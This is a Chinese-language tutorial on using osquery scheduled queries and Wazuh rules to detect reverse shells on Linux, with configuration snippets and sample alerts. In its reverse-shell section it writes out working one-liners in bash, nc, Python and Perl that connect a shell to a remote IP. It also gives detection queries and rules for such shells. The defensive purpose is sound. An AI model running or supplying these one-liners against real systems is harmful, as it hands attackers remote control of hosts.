Wazuh联动osquery检测linux反弹shell
用osquery根据制定的规则定时检测系统并生成包含查询结果的日志文件,wazuh再对这些日志文件进行解析之后匹配规则告警。
osquery
下载安装的过程就略过了。这里简单介绍下osquery
,详细请参考官方文档
- 文件结构
/etc/osquery/
/usr/share/osquery/osquery.example.conf
/usr/share/osquery/lenses/{*}.aug
/usr/share/osquery/packs/{*}.conf
/var/log/osquery/
/usr/lib/osquery/
/usr/bin/osqueryctl
/usr/bin/osqueryd
/usr/bin/osqueryi
osqueryi
一个修改的后的sqlite
shell,可以执行查询语句
-
.tables
,所有表 -
.schema
,显示表结构 -
pragma table_info(table_name)
,可视化显示表结构
osqueryd
守护进程,用来定时查询并记录操作系统的更改。
SQL查询
只支持select
语句,实际上经常用到多表连接查询join
,连接运算是从两个关系的笛卡尔积中选择属性间满足一定条件的元组。
普通join,也是
inner join
,返回两个表中同时满足条件的元组对,不满足的将被丢弃。
a join b using (id)
,后面接a,b
两张表中都存在的字段 (字段名称一样都是id,而且必须相等)
a JOIN b ON (a.id = b.id)
,后面接a,b
两张表中需要关联的字段 (字段名称不需要一样a.aid = b.bid
,可以指定任意的连接条件(=,>=,<=,!=,>,<...) )
LEFT OUTER JOIN
,返回左表所有行以及右表满足条件的行,左表有值右表无值填充为null
RIGHT OUTER JOIN
,返回右表所有行以及左表满足条件的行,右表有值左表无值填充为null
FULL OUTER JOIN
,返回所有表的所有行,在满足条件的行之外,左表满足右表不满足或者相反,均填充null
SELF JOIN
,相当于A JOIN A
命令行参数选项
因为可选参数太多,所以放在一个文件里面,--flagfile /etc/osquery/osquery.flags
配置文件
- Windows: C:\ProgramData\osquery\osquery.conf
- Linux: /etc/osquery/osquery.conf and /etc/osquery/osquery.conf.d/
- MacOS: /var/osquery/osquery.conf and /var/osquery/osquery.conf.d/
反弹shell
市面上最常见的bash
反弹为例:bash -i >& /dev/tcp/192.168.1.1/8888 0>&1
>&
和&>
都是表示的是把标准输出1和标准错误2同时重定向到某个文件,相当于>word 2>&1
bash -i
>&
/dev/tcp/192.168.1.1/8888
等价于
bash -i
>/dev/tcp/192.168.1.1/8888
2>&1
bash -i > /dev/tcp/192.168.1.1/8888 0>&1
,将bash -i
的标准输出1重定向到远端,0>&1
代表标准输入0也复制到标准输出1,并且不能简写为>&1
,反而0<&1
可以简写为<&1
标准错误2有回显输入命令和终端提示符的作用。
除此之外,还有
nc 192.168.1.1 8888 -t -e /bin/bash
-
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.1 2333 >/tmp/f
nc不带-e的时候 mknod backpipe p; nc 192.168.1.1 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
perl -e 'use Socket;$i="192.168.1.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
osquery规则
最后两行是用来过滤ip的,看情况可加可不加。
SELECT DISTINCT(processes.pid), processes.name,
processes.path, processes.cmdline, processes.root,
process_open_sockets.remote_address,
process_open_sockets.remote_port, (SELECT cmdline FROM
processes AS parent_cmdline WHERE pid=processes.parent) AS
parent_cmdline FROM processes JOIN process_open_sockets
USING (pid) LEFT OUTER JOIN process_open_files ON
processes.pid = process_open_files.pid
WHERE remote_address NOT IN ('0.0.0.0','::','')
and name in ('sh','bash','nc')
AND remote_address NOT LIKE '10.%' AND remote_address
NOT LIKE '192.168.%';
用osqueryi查看
直接用bash反弹
+------+------+---------------+---------+------+-----------------+-------------+----------------+
| pid | name | path | cmdline | root | remote_address | remote_port | parent_cmdline |
+------+------+---------------+---------+------+-----------------+-------------+----------------+
| 9363 | bash | /usr/bin/bash | bash -i | / | 192.168.1.1 | 8888 | -bash |
+------+------+---------------+---------+------+-----------------+-------------+----------------+
用nc反弹
+-------+------+---------------+-----------+------+-----------------+-------------+-----------------------------------------+
| pid | name | path | cmdline | root | remote_address | remote_port | parent_cmdline |
+-------+------+---------------+-----------+------+-----------------+-------------+-----------------------------------------+
| 11426 | bash | /usr/bin/bash | /bin/bash | / | 192.168.1.1 | 8888 | nc 192.168.1.1 8888 -t -e /bin/bash |
+-------+------+---------------+-----------+------+-----------------+-------------+-----------------------------------------+
部署
cp /usr/share/osquery/osquery.example.conf /etc/osquery/osquery.conf
修改osquery.conf
,间隔10秒检测一次。
"schedule": {
// This is a simple example query that outputs basic system information.
"system_info": {
// The exact query to run.
"query": "SELECT hostname, cpu_brand, physical_memory FROM system_info;",
// The interval in seconds to run this query, not an exact interval.
"interval": 3600
},
"behavioral_reverse_shell": {
"query" : "SELECT DISTINCT(processes.pid), processes.parent, processes.name, processes.path, processes.cmdline, processes.cwd, processes.root, processes.uid, processes.gid, processes.start_time, process_open_sockets.remote_address, process_open_sockets.remote_port, (SELECT cmdline FROM processes AS parent_cmdline WHERE pid=processes.parent) AS parent_cmdline FROM processes JOIN process_open_sockets USING (pid) LEFT OUTER JOIN process_open_files ON processes.pid = process_open_files.pid WHERE (name='sh' OR name='bash' OR name='nc') AND remote_address NOT IN ('0.0.0.0', '::', '');",
"interval" : 10,
"description" : "Find shell processes that have open sockets"
}
}
顺带启用了rookit
检测,规则库要比ossec
要新点。
"packs": {
// "osquery-monitoring": "/usr/share/osquery/packs/osquery-monitoring.conf",
// "incident-response": "/usr/share/osquery/packs/incident-response.conf",
// "it-compliance": "/usr/share/osquery/packs/it-compliance.conf",
// "osx-attacks": "/usr/share/osquery/packs/osx-attacks.conf",
// "vuln-management": "/usr/share/osquery/packs/vuln-management.conf",
// "hardware-monitoring": "/usr/share/osquery/packs/hardware-monitoring.conf",
"ossec-rootkit": "/usr/share/osquery/packs/ossec-rootkit.conf" //注意这里没有,号
// "windows-hardening": "C:\\ProgramData\\osquery\\packs\\windows-hardening.conf",
// "windows-attacks": "C:\\ProgramData\\osquery\\packs\\windows-attacks.conf"
},
先确认osqueryd
没有运行,用osqueryctl config-check
验证配置文件通过后。

这里是测试使用,修改的是客户端上的ossec.conf
,启用osquery集成。

然后重新启动wazuh-agent
,osqueryd
会一同启动,这里就不要使用systemctl start osqueryd
了。

再次反弹测试看看,10秒内就可以看到告警。action
为added
。

如果反弹断开了,也可以看到告警。action
为removed
。

编写告警规则
看到原有告警规则id是24010
,属于osquery
组,因为被认为是普通的osquery
结果所以告警等级只有3。
查看rules/0545-osquery_rules.xml
中的告警规则作为参考,因为这里要匹配json
格式的告警日志。
修改etc/rules/local_rules.xml
<group name="linux_attack,">
<rule id="300001" level="12">
<if_sid>24010</if_sid>
<options>alert_by_email</options>
<field name="osquery.name">behavioral_reverse_shell</field>
<description>osquery: reverse shell to host $(osquery.columns.remote_address) port $(osquery.columns.remote_port) by $(osquery.columns.cmdline)</description>
</rule>
</group>
这里用./bin/ossec-logtest
测试没有显出触发了哪条规则,但是可以在es中看到。

虽然告警等级12满足了发信要求的等级10,但是并没有立刻发信,而是标记为需要发信,等到了一定时间或者一定数量的时候统合告警发送,于是用<options>alert_by_email</options>设置该条规则强制发信。
Received From: (192.168.1.1) 192.168.1.1->osquery
Rule: 300001 fired (level 12) -> "osquery: reverse shell to host 192.168.1.1 port 8888 by bash -i"
Portion of the log(s):
{"osquery":{"name":"behavioral_reverse_shell","hostIdentifier":"localhost.localdomain","calendarTime":"Thu Dec 20 03:44:54 2018 UTC","unixTime":1545277494,"epoch":0,"counter":7592,"decorations":{"host_uuid":"2C0A10A0-D7DA-11DD-9124-D850E6D5293F","username":"root"},"columns":{"cmdline":"bash -i","cwd":"/var/ossec","gid":"0","name":"bash","parent":"3891","parent_cmdline":"-bash","path":"/usr/bin/bash","pid":"17778","remote_address":"192.168.1.1","remote_port":"8888","root":"/","start_time":"264052","uid":"0"},"action":"added"}}
osquery.name: behavioral_reverse_shell
osquery.hostIdentifier: localhost.localdomain
osquery.calendarTime: Thu Dec 20 03:44:54 2018 UTC
osquery.unixTime: 1545277494
osquery.epoch: 0
osquery.counter: 7592
osquery.decorations.host_uuid: 2C0A10A0-D7DA-11DD-9124-D850E6D5293F
osquery.decorations.username: root
osquery.columns.cmdline: bash -i
osquery.columns.cwd: /var/ossec
osquery.columns.gid: 0
osquery.columns.name: bash
osquery.columns.parent: 3891
osquery.columns.parent_cmdline: -bash
osquery.columns.path: /usr/bin/bash
osquery.columns.pid: 17778
osquery.columns.remote_address: 192.168.1.1
osquery.columns.remote_port: 8888
osquery.columns.root: /